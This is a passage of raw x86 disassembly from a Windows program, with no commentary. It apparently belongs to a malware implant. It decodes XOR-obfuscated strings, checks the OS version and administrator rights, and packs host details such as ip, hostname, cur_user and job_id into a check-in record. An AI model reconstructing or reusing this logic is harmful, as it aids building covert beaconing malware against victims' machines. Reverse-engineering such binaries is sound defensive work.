cmp byte [esi + 0x1d4], 3
jne 0x3d892e3
mov eax, dword [esi + 0x1d8]
mov ecx, dword [eax]
mov dword [esi + 8], eax
mov eax, dword [eax + 4]
mov dword [esi + 0x698], 0xb
mov dword [esi + 0x10], ecx
push ecx
mov dword [esi + 0xc], eax
call dword [eax]
add esp, 4
mov eax, dword [esi + 0xc]
cmp dword [eax + 4], 0
je 0x3d892d2
cmp dword [eax + 8], 9
jae 0x3d892bd
mov eax, dword [esi + 0x10]
jmp 0x3d892c3
test ebx, ebx
jne 0x3d89334
cmp byte [esi + 0x20], 0
jne 0x3d89334
mov ebx, dword [esi + 0x74]
mov edi, dword [esi + 0x78]
jmp 0x3d89383
mov dword [esi], eax
mov eax, dword [esi + 0x1d4]
mov dword [esi + 4], eax
movsd xmm0, qword [esi + 0x1d8]
movaps xmmword [esi + 0x20], xmm0
jmp 0x3d892e3
mov eax, dword [esi + 0x10]
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esi + 8]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [esi + 0x698], 5
lea ecx, [esi + 0x70]
xor edx, edx
call fcn.03da9cf0
mov edi, dword [esi + 0x78]
mov eax, edi
shl eax, 4
mov ebx, dword [esi + 0x74]
mov ecx, dword [esi]
mov dword [ebx + eax], ecx
mov ecx, dword [esi + 4]
mov dword [ebx + eax + 4], ecx
movaps xmm0, xmmword [esi + 0x20]
movlps qword [ebx + eax + 8], xmm0
inc edi
mov eax, dword [esi + 0x70]
jmp 0x3d893bd
call fcn.03dcd370
jmp 0x3d8756e
mov dword [esi + 0x698], 7
mov edx, dword [esi + 0x44]
mov dword [esi + 0x698], 7
lea ecx, [esi + 0x1d0]
push ebx
call fcn.03da6300
add esp, 4
mov edi, dword [esi + 0x78]
cmp edi, dword [esi + 0x70]
jne 0x3d8936f
mov dword [esi + 0x698], 8
lea ecx, [esi + 0x70]
mov edx, edi
call fcn.03da9cf0
mov edi, dword [esi + 0x78]
mov ebx, dword [esi + 0x74]
mov eax, edi
shl eax, 4
movups xmm0, xmmword [esi + 0x1d0]
movups xmmword [ebx + eax], xmm0
inc edi
mov eax, dword [esi + 0x70]
cmp dword [esi + 0x40], 0
mov dword [esi], eax
je 0x3d893a1
push dword [esi + 0x44]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esi]
cmp dword [esi + 0x90], 0
je 0x3d893bd
push dword [esi + 0x10]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esi]
shl edi, 4
add edi, ebx
lea edx, [esi + 0xf0]
mov dword [edx], ebx
mov dword [edx + 4], ebx
mov dword [edx + 8], eax
mov dword [edx + 0xc], edi
lea edi, [esi + 0x1d0]
mov ecx, edi
call fcn.03da9d90
cmp dword [edi], 0x80000000
jne 0x3d89426
xor edi, edi
mov dword [esi + 0x188], edi
mov dword [esi + 0x18c], 4
mov dword [esi + 0x190], edi
lea ecx, [esi + 0xf0]
call fcn.03d84668
mov dword [esi + 0xd0], edi
mov dword [esi + 0xd4], 1
mov dword [esi + 0xd8], edi
jmp 0x3d8952a
mov eax, dword [esi + 0xfc]
sub eax, dword [esi + 0xf4]
shr eax, 4
cmp eax, 4
mov ebx, 3
cmovae ebx, eax
cmp ebx, 0xaaaaaa9
ja 0x3d8bf91
lea eax, [ebx*4 + 4]
lea edi, [eax + eax*2]
test edi, edi
js 0x3d8bf91
mov al, byte [0x3de3a90]
xor ecx, ecx
mov edx, edi
call fcn.03db9190
test eax, eax
je 0x3d8c07a
inc ebx
lea edx, [esi + 0x1d0]
mov ecx, dword [edx + 8]
mov dword [eax + 8], ecx
movsd xmm0, qword [edx]
movsd qword [eax], xmm0
mov dword [esi + 0x90], ebx
mov dword [esi], eax
mov dword [esi + 0x94], eax
mov dword [esi + 0x98], 1
movups xmm0, xmmword [esi + 0xf0]
movaps xmmword [edx], xmm0
lea ebx, [esi + 0x40]
mov ecx, ebx
call fcn.03da9d90
cmp dword [ebx], 0x80000000
mov edi, 1
jne 0x3d8a75c
lea ecx, [esi + 0x1d0]
call fcn.03d84668
mov eax, dword [esi + 0x98]
mov dword [esi + 0x190], eax
movsd xmm0, qword [esi + 0x90]
movsd qword [esi + 0x188], xmm0
xor edi, edi
mov dword [esi + 0xd0], edi
mov dword [esi + 0xd4], 1
mov dword [esi + 0xd8], edi
test eax, eax
jne 0x3d8abb4
cmp dword [esi + 0xd0], 0
je 0x3d8952a
push dword [esi + 0xd4]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ecx, [esi + 0x188]
call fcn.03d828ca
lea eax, [0x3dcdc24]
mov dword [esi + 0x1d0], eax
lea eax, [esi + 0x1d0]
mov ecx, dword [esi + 0x1d0]
mov dword [esi + 0x1d0], 0xa9987c5a
mov edx, dword [esi + 0x1d0]
call fcn.03d81e38
xorps xmm0, xmm0
movups xmmword [esi + 0x1dc], xmm0
movaps xmmword [esi + 0x1d0], xmm0
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x3dce81d]
xor edx, dword [eax + ecx + 4]
mov dword [esi + ecx + 0x1d4], edx
add ecx, 4
cmp ecx, 0x18
jb 0x3d89578
mov al, byte [eax + 0x1c]
xor al, 0xfe
mov byte [esi + 0x1ec], al
movaps xmm0, xmmword [esi + 0x1d0]
movaps xmmword [esi + 0x90], xmm0
movups xmm0, xmmword [esi + 0x1dd]
movups xmmword [esi + 0x9d], xmm0
lea ecx, [esi + 0x1c4]
lea edx, [esi + 0x5dc]
call fcn.03d930f0
lea ecx, [esi + 0x17c]
lea edi, [esi + 0x5d0]
mov edx, edi
call fcn.03d930f0
mov eax, dword [edi + 0x4c]
mov dword [esi + 0x10], eax
mov ebx, dword [edi + 0x50]
mov eax, dword [edi + 0x1c]
mov dword [esi + 0x20], eax
mov eax, dword [edi + 0x20]
mov dword [esi + 0xc], eax
mov ecx, ebx
xor edx, edx
call fcn.03da19ec
mov dword [esi + 0xb4], eax
mov edi, edx
mov dword [esi + 0x3c], ebx
push ebx
push dword [esi + 0x10]
push edx
call fcn.03dbf720
add esp, 0xc
lea eax, [0x3dcd43d]
mov dword [esi + 0x1d0], eax
lea eax, [esi + 0x1d0]
mov ecx, dword [esi + 0x1d0]
mov dword [esi + 0x1d0], 0xfd82d6a3
mov edx, dword [esi + 0x1d0]
call fcn.03d81bb0
xorps xmm0, xmm0
movaps xmmword [esi + 0x1d0], xmm0
mov dword [esi + 0x1e0], 0
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x3dce7a5]
xor edx, dword [eax + ecx + 4]
mov dword [esi + ecx + 0x1d4], edx
add ecx, 4
cmp ecx, 0x10
jb 0x3d89658
mov dword [esi], edi
movzx eax, word [eax + 0x14]
xor eax, 0xd5dc
mov word [esi + 0x1e4], ax
movaps xmm0, xmmword [esi + 0x1d0]
lea edx, [esi + 0xf0]
movaps xmmword [edx], xmm0
movsd xmm0, qword [esi + 0x1de]
movsd qword [edx + 0xe], xmm0
lea edi, [esi + 0x40]
mov ecx, edi
push dword [esi + 0xc]
push dword [esi + 0x20]
push 0x16
call fcn.03d85c22
add esp, 0xc
mov ebx, dword [edi]
cmp ebx, 0x80000000
jne 0x3d896c7
mov ebx, dword [esi + 0x3c]
jmp 0x3d89778
mov edx, dword [esi + 0x44]
lea edi, [esi + 0x1d0]
mov ecx, edi
mov dword [esi + 0x14], edx
push dword [esi + 0x48]
call fcn.03d924f0
add esp, 4
mov eax, dword [edi + 4]
mov dword [esi + 0x1c], eax
mov edi, dword [edi + 8]
mov ecx, edi
xor edx, edx
call fcn.03da19ec
mov dword [esi + 8], eax
mov dword [esi + 4], edi
push edi
push dword [esi + 0x1c]
mov dword [esi + 0x1c], edx
push edx
call fcn.03dbf720
add esp, 0xc
lea eax, [esi + 0x1d0]
mov eax, dword [eax]
cmp eax, 0x80000000
je 0x3d8972f
test eax, eax
je 0x3d8972f
push dword [esi + 0x1d4]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
mov edi, dword [esi]
je 0x3d89746
push dword [esi + 0x14]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0xb4], 0
mov ebx, dword [esi + 4]
je 0x3d89761
push edi
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0x40], 0x80000000
mov eax, dword [esi + 0x1c]
mov dword [esi], eax
mov eax, dword [esi + 8]
mov dword [esi + 0xb4], eax
jne 0x3d897ad
mov dword [esi + 4], ebx
mov edi, dword [esi + 0x44]
mov ebx, dword [esi + 0x48]
push edi
call dword [ebx]
add esp, 4
cmp dword [ebx + 4], 0
je 0x3d897aa
cmp dword [ebx + 8], 9
jb 0x3d89796
mov edi, dword [edi - 4]
mov ebx, dword [esi + 4]
push edi
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x3d897ad
mov ebx, dword [esi + 4]
mov dword [esi + 4], ebx
xor ecx, ecx
inc ecx
xor edi, edi
xor edx, edx
call fcn.03da4c60
lea eax, [0x3dcaf39]
mov dword [esi + 0x1d0], eax
lea eax, [esi + 0x1d0]
mov ecx, dword [esi + 0x1d0]
mov dword [esi + 0x1d0], 0x1eed26b7
mov edx, dword [esi + 0x1d0]
call fcn.03d81bd6
mov dword [esi + 0x1d4], edi
mov dword [esi + 0x1d0], edi
mov dword [esi + 0x1d8], edi
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x3dce7ce]
xor edx, dword [eax + ecx + 4]
mov dword [esi + ecx + 0x1d4], edx
add ecx, 4
cmp ecx, 8
jb 0x3d89800
lea edi, [esi + 0x1d0]
mov eax, dword [edi + 8]
lea edx, [esi + 0xf0]
mov dword [edx + 8], eax
movsd xmm0, qword [edi]
movsd qword [edx], xmm0
mov ecx, edi
push 0xc
call fcn.03da9730
add esp, 4
mov ebx, dword [edi]
cmp ebx, 0x80000001
jne 0x3d89869
mov eax, dword [esi + 0x1d4]
mov dword [esi + 0xcc], eax
mov eax, dword [esi + 0x1d8]
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0x1dc]
mov dword [esi + 8], eax
jmp 0x3d898b6
mov eax, dword [esi + 0x1d4]
mov dword [esi + 8], eax
mov edi, dword [esi + 0x3c]
mov ecx, edi
xor edx, edx
call fcn.03da19ec
mov dword [esi + 0xcc], eax
push edi
push dword [esi + 0x10]
mov dword [esi + 0x1c], edx
push edx
call fcn.03dbf720
add esp, 0xc
test ebx, 0x7fffffff
je 0x3d898ad
push dword [esi + 8]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [esi + 8], edi
lea edi, [esi + 0x1d0]
xor ecx, ecx
inc ecx
xor ebx, ebx
xor edx, edx
call fcn.03da4c60
lea eax, [0x3dc1628]
mov dword [esi + 0x1d0], eax
mov ecx, dword [esi + 0x1d0]
mov dword [esi + 0x1d0], 0x5c39960d
mov edx, dword [esi + 0x1d0]
call fcn.03d81a61
mov dword [esi + 0x1d4], ebx
mov dword [esi + 0x1d0], ebx
mov cl, 1
movzx edi, byte [ebx + 0x3dce7b7]
mov edx, ebx
or edx, 1
movzx edx, byte [edx + 0x3dce7b7]
shl edx, 8
or edx, edi
mov edi, ebx
or edi, 2
movzx edi, byte [edi + 0x3dce7b7]
shl edi, 0x10
or edx, edi
mov edi, ebx
or edi, 3
movzx edi, byte [edi + 0x3dce7b7]
shl edi, 0x18
or edx, edi
xor edx, dword [eax + ebx]
mov dword [esi + ebx + 0x1d0], edx
mov ebx, 4
test cl, 1
mov ecx, 0
jne 0x3d898f7
movzx eax, word [eax + 8]
xor eax, 0x85d2
lea edi, [esi + 0x1d0]
movsd xmm0, qword [edi]
lea edx, [esi + 0xf0]
movsd qword [edx], xmm0
mov word [edx + 8], ax
mov ecx, edi
push 0xa
call fcn.03da9730
add esp, 4
mov ebx, dword [edi]
cmp ebx, 0x80000001
jne 0x3d89995
mov ecx, dword [esi + 0x1d4]
mov ebx, dword [esi + 0x1d8]
mov edi, dword [esi + 0x1dc]
jmp 0x3d899e2
mov eax, dword [esi + 0x1d4]
mov dword [esi + 0x18], eax
mov edi, dword [esi + 0x3c]
mov ecx, edi
xor edx, edx
call fcn.03da19ec
mov dword [esi + 0x14], eax
push edi
push dword [esi + 0x10]
mov dword [esi + 0x8c], edx
push edx
call fcn.03dbf720
add esp, 0xc
test ebx, 0x7fffffff
je 0x3d899d9
push dword [esi + 0x18]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [esi + 0x8c]
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 8]
cmp edi, eax
jne 0x3d89a0f
mov dword [esi + 0x14], ecx
push eax
push dword [esi + 0x1c]
push ebx
call fcn.03dbe09a
add esp, 0xc
test eax, eax
je 0x3d8a7cd
mov dword [esi + 0x18], ebx
mov eax, dword [esi + 0x14]
mov dword [esi + 0xb0], eax
jmp 0x3d89a18
mov dword [esi + 0x18], ebx
mov dword [esi + 0xb0], ecx
mov dword [esi + 0x14], edi
xor ecx, ecx
inc ecx
xor edx, edx
call fcn.03da4c60
lea eax, [0x3dc0f66]
mov dword [esi + 0x1d0], eax
lea eax, [esi + 0x1d0]
mov ecx, dword [esi + 0x1d0]
mov dword [esi + 0x1d0], 0xe4e1026e
mov edx, dword [esi + 0x1d0]
call fcn.03d81e5a
xorps xmm0, xmm0
movaps xmmword [esi + 0x1d0], xmm0
mov dword [esi + 0x1e0], 0
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x3dce7da]
xor edx, dword [eax + ecx + 4]
mov dword [esi + ecx + 0x1d4], edx
add ecx, 4
cmp ecx, 0x10
jb 0x3d89a6b
movzx eax, word [eax + 0x14]
xor eax, 0x5f0e
lea ebx, [esi + 0x1d0]
mov word [ebx + 0x14], ax
movaps xmm0, xmmword [ebx]
lea edx, [esi + 0xf0]
movaps xmmword [edx], xmm0
movsd xmm0, qword [ebx + 0xe]
movsd qword [edx + 0xe], xmm0
mov ecx, ebx
push 0x16
call fcn.03da9730
add esp, 4
mov edi, dword [ebx]
cmp edi, 0x80000001
jne 0x3d89ae9
mov eax, dword [esi + 0x1d4]
mov dword [esi + 0xec], eax
mov eax, dword [esi + 0x1d8]
mov dword [esi + 0x8c], eax
mov eax, dword [esi + 0x1dc]
mov dword [esi + 0x88], eax
jmp 0x3d89b42
mov eax, dword [esi + 0x1d4]
mov dword [esi + 0x88], eax
mov ebx, dword [esi + 0x3c]
mov ecx, ebx
xor edx, edx
call fcn.03da19ec
mov dword [esi + 0xec], eax
push ebx
push dword [esi + 0x10]
mov dword [esi + 0x8c], edx
push edx
call fcn.03dbf720
add esp, 0xc
test edi, 0x7fffffff
je 0x3d89b36
push dword [esi + 0x88]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [esi + 0x88], ebx
lea ebx, [esi + 0x1d0]
xor ecx, ecx
inc ecx
xor edx, edx
call fcn.03da4c60
lea edi, [esi + 0x1d4]
push 0x110
push 0
push edi
call fcn.03dbfca0
add esp, 0xc
mov dword [edi - 4], 0x114
push ebx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x3d89bf0
mov eax, dword [esi + 0x1d4]
mov ecx, dword [esi + 0x1d8]
lea edx, [esi + 0x44]
mov dword [edx - 4], eax
mov eax, dword [esi + 0x1dc]
mov dword [edx], ecx
lea ecx, [esi + 0x48]
mov dword [ecx], eax
lea eax, [esi + 0x40]
mov dword [esi + 0x1d0], eax
mov eax, fcn.03d93480
mov dword [esi + 0x1d4], eax
mov dword [esi + 0x1d8], edx
mov dword [esi + 0x1dc], eax
mov dword [esi + 0x1e0], ecx
mov dword [esi + 0x1e4], eax
lea edx, [esi + 0xf0]
mov dword [edx], 0x3dce7f4
mov eax, 3
mov dword [edx + 4], eax
mov dword [edx + 0x10], 0
mov dword [edx + 8], ebx
mov dword [edx + 0xc], eax
lea ecx, [esi + 0x170]
call fcn.03d92750
jmp 0x3d89cb4
call sub.KERNEL32.dll_GetLastError
mov ebx, eax
mov al, byte [0x3de3a90]
xor ecx, ecx
mov edx, 0xc
call fcn.03db9190
test eax, eax
je 0x3d8c0d9
movzx ecx, bx
or ecx, 0x80070000
test ebx, ebx
cmove ecx, ebx
mov edi, 0x80000000
mov dword [eax], edi
mov dword [eax + 4], ecx
mov dword [eax + 8], 0
mov ebx, dword [esi + 0x3c]
mov ecx, ebx
mov dword [esi + 0xc8], eax
xor edx, edx
call fcn.03da19ec
mov dword [esi + 0x16c], eax
mov dword [esi + 0x168], edx
push ebx
push dword [esi + 0x10]
push edx
call fcn.03dbf720
add esp, 0xc
mov eax, dword [esi + 0x16c]
mov dword [esi + 0x170], eax
mov eax, dword [esi + 0x168]
mov dword [esi + 0x174], eax
mov dword [esi + 0x178], ebx
mov eax, dword [esi + 0xc8]
mov eax, dword [eax]
xor edi, eax
cmp edi, 7
mov ecx, 7
cmovb ecx, edi
lea edx, [ecx - 1]
cmp edx, 6
mov edx, dword [esi + 0xc8]
lea ebx, [esi + 0x1d0]
jae 0x3d8a96f
push edx
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor ecx, ecx
inc ecx
xor edi, edi
xor edx, edx
call fcn.03da4c60
call dword [sym.imp.shell32.dll_IsUserAnAdmin]
test eax, eax
je 0x3d89d83
lea eax, [0x3dcbdc3]
mov dword [esi + 0x1d0], eax
mov ecx, dword [esi + 0x1d0]
mov dword [esi + 0x1d0], 0xb97dab83
mov edx, dword [esi + 0x1d0]
call fcn.03d81d2e
mov dword [esi + 0x1d4], edi
mov dword [esi + 0x1d0], edi
mov dword [esi + 0x1d8], edi
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x3dce810]
xor edx, dword [eax + ecx + 4]
mov dword [esi + ecx + 0x1d4], edx
add ecx, 4
cmp ecx, 8
jb 0x3d89d0c
mov al, byte [eax + 0xc]
xor al, 0x6e
mov byte [esi + 0x1dc], al
movsd xmm0, qword [esi + 0x1d0]
movsd qword [esi + 0xf0], xmm0
movsd xmm0, qword [esi + 0x1d5]
movsd qword [esi + 0xf5], xmm0
mov dword [esi + 0x10], 0xd
mov ecx, 0xd
xor edx, edx
call fcn.03da19ec
mov dword [esi + 0x3c], eax
mov ebx, edx
movsd xmm0, qword [esi + 0xf0]
movsd xmm1, qword [esi + 0xf5]
movsd qword [edx], xmm0
movsd qword [edx + 5], xmm1
jmp 0x3d89dcb
lea eax, [0x3dc1977]
mov dword [esi + 0x1d0], eax
mov ecx, dword [esi + 0x1d0]
mov dword [esi + 0x1d0], 0x36be9303
mov edx, dword [esi + 0x1d0]
call fcn.03d81dfa
mov edi, 0xa1d44553
xor edi, dword [eax]
mov dword [esi + 0x10], 4
mov ecx, 4
xor edx, edx
call fcn.03da19ec
mov dword [esi + 0x3c], eax
mov ebx, edx
mov dword [edx], edi
mov edi, dword [esi]
xor ecx, ecx
inc ecx
xor edx, edx
call fcn.03da4c60
mov eax, dword [esi + 0x184]
mov dword [esi + 0x1d8], eax
movsd xmm0, qword [esi + 0x17c]
movsd qword [esi + 0x1d0], xmm0
mov eax, dword [esi + 0xb4]
mov dword [esi + 0x1dc], eax
mov dword [esi], edi
mov dword [esi + 0x1e0], edi
mov edi, dword [esi + 4]
mov dword [esi + 0x1e4], edi
mov eax, dword [esi + 0xb0]
mov dword [esi + 0x1e8], eax
mov eax, dword [esi + 0x18]
mov dword [esi + 0x1ec], eax
mov eax, dword [esi + 0x14]
mov dword [esi + 0x1f0], eax
mov eax, dword [esi + 0xcc]
mov dword [esi + 0x1f4], eax
mov eax, dword [esi + 0x1c]
mov dword [esi + 0x1f8], eax
mov eax, dword [esi + 8]
mov dword [esi + 0x1fc], eax
mov eax, dword [esi + 0xec]
mov dword [esi + 0x200], eax
mov eax, dword [esi + 0x8c]
mov dword [esi + 0x204], eax
mov eax, dword [esi + 0x88]
mov dword [esi + 0x208], eax
mov eax, dword [esi + 0x178]
mov dword [esi + 0x214], eax
movsd xmm0, qword [esi + 0x170]
movsd qword [esi + 0x20c], xmm0
mov eax, dword [esi + 0x3c]
mov dword [esi + 0x218], eax
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x21c], ebx
mov eax, dword [esi + 0x10]
mov dword [esi + 0x220], eax
mov eax, dword [esi + 0x1cc]
mov dword [esi + 0x22c], eax
movsd xmm0, qword [esi + 0x1c4]
movsd qword [esi + 0x224], xmm0
mov ecx, 0x80
xor edx, edx
call fcn.03da19ec
mov dword [esi + 0xf0], eax
mov dword [esi + 0xf4], edx
mov dword [esi + 0xf8], 0
lea ecx, [esi + 0xf0]
mov dword [esi + 0x70], ecx
lea eax, [0x3dd4202]
mov edx, 0x3dd4201
push eax
call fcn.03da0be8
add esp, 4
lea ecx, [esi + 0x40]
lea eax, [esi + 0x70]
mov dword [ecx], eax
mov byte [ecx + 4], 1
mov edx, str.versionipdomainhostnamearchos_versioncur_userownerjob_idresultvalue_is_missing
push dword [esi + 0x1d8]
push dword [esi + 0x1d4]
push 7
call fcn.03d84575
add esp, 0xc
test eax, eax
jne 0x3d8be36
lea ecx, [esi + 0x40]
mov edx, 0x3dcede3
push edi
push dword [esi]
push 2
call fcn.03d84575
add esp, 0xc
test eax, eax
jne 0x3d8be36
lea ecx, [esi + 0x40]
mov edx, 0x3dcede5
push dword [esi + 0x14]
push dword [esi + 0x18]
push 6
call fcn.03d84575
add esp, 0xc
test eax, eax
mov edi, dword [esi + 0x10]
mov ebx, dword [esi + 0x3c]
jne 0x3d8be36
lea ecx, [esi + 0x40]
mov edx, 0x3dcedeb
push dword [esi + 8]
push dword [esi + 0x1c]
push 8
call fcn.03d84575
add esp, 0xc
test eax, eax
jne 0x3d8be36
lea ecx, [esi + 0x40]
mov edx, 0x3dcedf3
push dword [esi + 0x88]
push dword [esi + 0x8c]
push 4
call fcn.03d84575
add esp, 0xc
test eax, eax
jne 0x3d8be36
lea ecx, [esi + 0x40]
mov edx, 0x3dcedf7
push dword [esi + 0x214]
push dword [esi + 0x210]
push 0xa
call fcn.03d84575
add esp, 0xc
test eax, eax
jne 0x3d8be36
lea ecx, [esi + 0x40]
mov edx, 0x3dcee01
push edi
push ebx
push 8
call fcn.03d84575
add esp, 0xc
test eax, eax
jne 0x3d8be36
lea ecx, [esi + 0x40]
mov edx, 0x3dcee09
push dword [esi + 0x22c]
push dword [esi + 0x228]
push 5
call fcn.03d84575
add esp, 0xc
test eax, eax
jne 0x3d8be36
cmp byte [esi + 0x44], 0
je 0x3d8a041
mov eax, dword [esi + 0x40]
mov ecx, dword [eax]
lea eax, [0x3dd99c4]
mov edx, 0x3dd99c3
push eax
call fcn.03da0be8
add esp, 4
mov ecx, dword [esi + 0xf0]
mov eax, dword [esi + 0xf4]
mov dword [esi + 8], eax
mov dword [esi + 0x8c], ecx
cmp ecx, 0x80000000
je 0x3d8be56
mov ebx, dword [esi + 0x604]
mov eax, dword [esi + 0x608]
mov ecx, 0x2c
lea edx, [esi + 0x40]
mov dword [edx], ecx
mov dword [edx + 4], ebx
mov dword [edx + 8], eax
xor edi, edi
mov dword [edx + 0xc], edi
mov dword [edx + 0x10], eax
mov dword [edx + 0x14], 1
mov dword [edx + 0x18], ecx
mov dword [edx + 0x1c], edi
mov dword [edx + 0x20], eax
lea edi, [esi + 0xf0]
mov word [edx + 0x24], 1
mov eax, dword [edi + 8]
mov dword [esi + 0x10], eax
mov ecx, edi
call fcn.03d81651
xor eax, eax
cmp dword [edi], eax
je 0x3d8a156
mov edi, dword [esi + 0xf4]
mov eax, dword [esi + 0xf8]
mov ecx, dword [esi + 0x5c]
add ebx, ecx
sub edi, ecx
mov dword [esi + 0x5c], eax
mov al, byte [0x3de3a90]
xor ecx, ecx
mov edx, 0x20
call fcn.03db9190
test eax, eax
je 0x3d8bfbc
mov dword [eax], ebx
mov dword [eax + 4], edi
mov dword [esi + 0xd0], 4
mov dword [esi + 0xd4], eax
mov dword [esi + 0xd8], 1
movsd xmm0, qword [esi + 0x60]
movsd qword [esi + 0x110], xmm0
movups xmm0, xmmword [esi + 0x40]
movups xmm1, xmmword [esi + 0x50]
movaps xmmword [esi + 0x100], xmm1
movaps xmmword [esi + 0xf0], xmm0
cmp byte [esi + 0x115], 0
mov edx, 1
je 0x3d8a690
mov eax, dword [esi + 0xd0]
mov dword [esi + 0x88], eax
mov ecx, dword [esi + 0xd4]
lea edi, [esi + 0xb8]
jmp 0x3d8a177
cmp byte [esi + 0x65], 0
lea edi, [esi + 0xb8]
je 0x3d8a956
mov ecx, 4
mov dword [esi + 0x88], 0
xor edx, edx
xor eax, eax
mov dword [esi + 0x18c], eax
mov dword [esi + 0x194], eax
mov byte [esi + 0x188], 5
lea eax, [ecx + edx*8]
mov dword [esi + 0xb4], eax
mov dword [esi + 0x18], ecx
mov dword [esi + 0x14], edx
mov ebx, ecx
test edx, edx
je 0x3d8a31f
mov eax, dword [ebx]
mov ecx, dword [ebx + 4]
mov dword [section..data], eax
mov dword [0x3de3004], ecx
mov dword [esi + 0xb8], eax
mov dword [esi + 0xbc], ecx
cmp byte [esi + 0x9b], 0xbf
jle 0x3d8bd60
add ebx, 8
mov dword [esi + 0x3c], ebx
lea eax, [esi + 0x90]
mov dword [esi + 0xd0], eax
mov dword [esi + 0xd4], 0xb
mov dword [esi + 0x40], edi
mov ecx, 0x3d93278
mov dword [esi + 0x44], ecx
lea eax, [esi + 0xd0]
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], ecx
mov dword [esi + 0xf0], 0x3dce838
mov ecx, 2
mov dword [esi + 0xf4], ecx
mov dword [esi + 0x100], 0
lea eax, [esi + 0x40]
mov dword [esi + 0xf8], eax
mov dword [esi + 0xfc], ecx
lea ecx, [esi + 0x70]
lea edx, [esi + 0xf0]
call fcn.03d92750
mov eax, dword [esi + 0x70]
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0x74]
mov dword [esi], eax
mov eax, dword [esi + 0x78]
mov dword [esi + 4], eax
xor ebx, ebx
mov ecx, 5
xor edx, edx
call fcn.03da4c60
mov ecx, edi
mov edx, dword [esi]
push dword [esi + 0xc]
push dword [esi + 0x20]
push dword [esi + 0x10]
push dword [esi + 8]
push dword [esi + 4]
call fcn.03d869b0
add esp, 0x14
mov eax, dword [esi + 0xb8]
cmp eax, 0x80000000
jne 0x3d8a336
call sub.KERNEL32.dll_GetLastError
mov byte [esi + 0x40], 0
mov dword [esi + 0x44], eax
lea eax, [esi + 0x40]
mov dword [esi + 0x70], eax
mov dword [esi + 0x74], fcn.03da9060
mov dword [esi + 0xf0], 0x3dcef00
mov dword [esi + 0xf4], 2
mov dword [esi + 0x100], 0
lea eax, [esi + 0x70]
mov dword [esi + 0xf8], eax
mov dword [esi + 0xfc], 1
lea ecx, [esi + 0xf0]
call fcn.03dae3c0
mov ecx, dword [esi + 0x40]
mov edx, dword [esi + 0x44]
call fcn.03d81ef9
mov ecx, edi
call fcn.03d81f3f
test bl, 1
mov bl, 1
je 0x3d8a250
cmp dword [esi + 0x1c], 0
je 0x3d8a310
push dword [esi]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [esi + 0x3c]
cmp ebx, dword [esi + 0xb4]
jne 0x3d8a1a5
mov ecx, 0x168
xor edx, edx
call fcn.03da4c60
mov ecx, dword [esi + 0x18]
mov edx, dword [esi + 0x14]
jmp 0x3d8a19b
mov dword [esi + 4], eax
mov ecx, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
lea edx, [esi + 0xf0]
mov dword [esi + 0xc], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], eax
xor eax, eax
mov dword [edx + 0x14], eax
mov dword [edx], eax
mov dword [edx + 4], 1
mov dword [edx + 8], eax
mov byte [edx + 0x18], 0x80
lea edi, [esi + 0x40]
mov ecx, edi
call fcn.03da01ff
cmp byte [edi], 6
je 0x3d8bd79
movsd xmm0, qword [esi + 0x50]
movsd qword [esi + 0x80], xmm0
movups xmm0, xmmword [esi + 0x40]
movaps xmmword [esi + 0x70], xmm0
lea ecx, [esi + 0xf0]
call fcn.03d9ff32
test eax, eax
jne 0x3d8bd81
mov bl, byte [esi + 0x70]
movzx eax, word [esi + 0x71]
mov word [esi + 0x1a0], ax
mov al, byte [esi + 0x73]
mov byte [esi + 0x1a2], al
mov eax, dword [esi + 0x74]
mov dword [esi + 0x20], eax
movups xmm0, xmmword [esi + 0x78]
movaps xmmword [esi + 0xd0], xmm0
cmp dword [esi + 0xf0], 0
je 0x3d8a3e9
push dword [esi + 0xf4]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp bl, 6
je 0x3d8bda9
mov al, byte [esi + 0x1a2]
mov byte [esi + 0x1aa], al
movzx eax, word [esi + 0x1a0]
mov word [esi + 0x1a8], ax
movaps xmm0, xmmword [esi + 0xd0]
movaps xmmword [esi + 0x1b0], xmm0
lea edi, [esi + 0x188]
mov ecx, edi
call fcn.03d84276
mov byte [edi], bl
movzx eax, word [esi + 0x1a8]
mov word [edi + 1], ax
mov al, byte [esi + 0x1aa]
mov byte [edi + 3], al
mov eax, dword [esi + 0x20]
mov dword [edi + 4], eax
movaps xmm0, xmmword [esi + 0x1b0]
movups xmmword [edi + 8], xmm0
cmp dword [esi + 4], 0
je 0x3d8a465
push dword [esi + 0xc]
